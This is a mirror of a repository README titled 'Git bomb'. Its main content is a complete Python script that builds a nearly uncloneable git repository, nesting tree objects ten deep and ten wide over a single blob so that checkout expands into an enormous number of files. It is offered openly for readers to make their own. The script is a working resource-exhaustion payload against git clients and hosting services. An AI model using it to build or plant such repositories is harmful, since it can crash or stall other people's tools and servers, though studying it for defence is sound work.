Giter Site home page Giter Site logo

git-bomb's Introduction

Git bomb

A (nearly) uncloneable repo. Make your own git bombs:

#! /usr/bin/env python3
import binascii
import subprocess
import tempfile


def write_git_object(object_body, type='tree'):
    '''Writes a git object and returns the hash'''
    with tempfile.NamedTemporaryFile() as f:
        f.write(object_body)
        f.flush()
        command = ['git', 'hash-object', '-w', '-t', type, f.name]
        return subprocess.check_output(command).strip()


def write_git_commit(tree_hash, commit_message='Create a git bomb'):
    '''Writes a git commit and returns the hash'''
    command = ['git', 'commit-tree', '-m', commit_message, tree_hash]
    return subprocess.check_output(command).strip()


def create_tree(dirs, perm):
    body = b''
    for a_dir in sorted(dirs, key=lambda x: x[0]):
        body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii') + b'\x00' + binascii.unhexlify(a_dir[1])
    return body


def create_blob(body=''):
    return bytearray(body, 'ascii')


if __name__ == '__main__':
    depth = 10  # how many layers deep
    width = 10  # how many files or folders per depth level
    blob_body = 'one laugh'  # content of blob at bottom

    # create base blob
    blob_hash = write_git_object(create_blob(body=blob_body), type='blob')

    # write tree object containing many files
    dirs = [('f' + str(i), blob_hash) for i in range(width)]
    tree_hash = write_git_object(create_tree(dirs, '100644'), type='tree')

    # make layers of tree objects using the previous tree object
    for i in range(depth - 1):
        other_dirs = [('d' + str(i), tree_hash) for i in range(width)]
        tree_hash = write_git_object(create_tree(other_dirs, '40000'), type='tree')

    commit_hash = write_git_commit(tree_hash)

    # update master ref
    open('.git/refs/heads/master', 'wb').write(commit_hash)

git-bomb's People

Contributors

katee avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.